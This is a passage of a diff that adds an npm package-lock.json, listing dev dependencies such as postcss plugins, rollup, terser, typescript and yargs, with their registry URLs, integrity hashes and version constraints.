"https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "dev": true, + "dependencies": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "dev": true, + "dependencies": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz", + "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==", + "dev": true, + "dependencies": { + "browserslist": "^4.16.6", + "caniuse-api": "^3.0.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reporter": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz", + "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==", + "dev": true, + "dependencies": { + "picocolors": "^1.0.0", + "thenby": "^1.3.4" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.10", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", + "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-svgo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "node_modules/pretty-hrtime": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", + "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve": { + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz", + "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==", + "dev": true, + "dependencies": { + "is-core-module": "^2.9.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "2.75.7", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.75.7.tgz", + "integrity": "sha512-VSE1iy0eaAYNCxEXaleThdFXqZJ42qDBatAwrfnPlENEZ8erQ+0LYX4JXOLPceWfZpV1VtZwZ3dFCuOZiSyFtQ==", + "dev": true, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/rollup-plugin-terser": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz", + "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "jest-worker": "^26.2.1", + "serialize-javascript": "^4.0.0", + "terser": "^5.0.0" + }, + "peerDependencies": { + "rollup": "^2.0.0" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/serialize-javascript": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", + "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", + "dev": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "dev": true + }, + "node_modules/stable": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility", + "dev": true + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylehacks": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz", + "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==", + "dev": true, + "dependencies": { + "browserslist": "^4.16.6", + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svgo": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "dev": true, + "dependencies": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/terser": { + "version": "5.14.2", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.14.2.tgz", + "integrity": "sha512-oL0rGeM/WFQCUd0y2QrWxYnq7tfSuKBiqTjRPWrRgB46WD/kiwHwF8T23z78H6Q6kGCuuHcPB+KULHRdxvVGQA==", + "dev": true, + "dependencies": { + "@jridgewell/source-map": "^0.3.2", + "acorn": "^8.5.0", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "node_modules/thenby": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz", + "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==", + "dev": true + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "dev": true + }, + "node_modules/typescript": { + "version": "4.7.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.7.4.tgz", + "integrity": "sha512-C0WQT0gezHuw6AdY1M2jxUO83Rjf0HP7Sk1DtXj6j1EwkQNZrHAg2XPWlq62oqEhYvONq5pkC2Y9oPljWToLmQ==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.4.tgz", + "integrity": "sha512-jnmO2BEGUjsMOe/Fg9u0oczOe/ppIDZPebzccl1yDWGLFP16Pa1/RM5wEoKYPG2zstNcDuAStejyxsOuKINdGA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "browserslist-lint": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs": { + "version": "17.5.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.5.1.tgz", + "integrity": "sha512-t6YAJcxDkNX7NFYiVtKvWUz8l+PaKTLiL63mJYWR2GnHq2gjEWISzsLp9wg3aY36dY1j+gfIEL3pIF+XlJJfbA==", + "dev": true, + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.0.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.1.tgz", + "integrity": "sha512-9BK1jFpLzJROCI5TzwZL/TU4gqjK5xiHV/RfWLOahrjAko/e4DJkRDZQXfvqAsiZzzYhgAzbgz6lg48jcm4GLg==", + "dev": true, + "engines": { + "node": ">=12" + } + } + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", + "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "dev": true, + "requires": { + "@babel/highlight": "^7.18.6" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.18.6.tgz", + "integrity": "sha512-MmetCkz9ej86nJQV+sFCxoGGrUbU3q02kgLciwkrt9QqEB7cP39oKEY0PakknEO0Gu20SskMRi+AYZ3b1TpN9g==", + "dev": true + }, + "@babel/highlight": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", + "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.18.6", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "dev": true, + "requires": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@jridgewell/resolve-uri": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.0.8.tgz", + "integrity": "sha512-YK5G9LaddzGbcucK4c8h5tWFmMPBvRZ/uyWmN1/SbBdIvqGUdWGkJ5BAaccgs6XbzVLsqbPJrBSFwKv3kT9i7w==", + "dev": true + }, + "@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "dev": true + }, + "@jridgewell/source-map": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz", + "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==", + "dev": true, + "requires": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==", + "dev": true + }, + "@jridgewell/trace-mapping": { + "version": "0.3.14", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.14.tgz", + "integrity": "sha512-bJWEfQ9lPTvm3SneWwRFVLzrh6nhjwqw7TUFFBEMzwvg7t7PCDenf2lDwqo4NQXzdpgBXyFgDWnQA+2vkruksQ==", + "dev": true, + "requires": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + } + }, + "@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true + }, + "@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "requires": { + "@nodelib/fs.scandir": "2.1.5", + 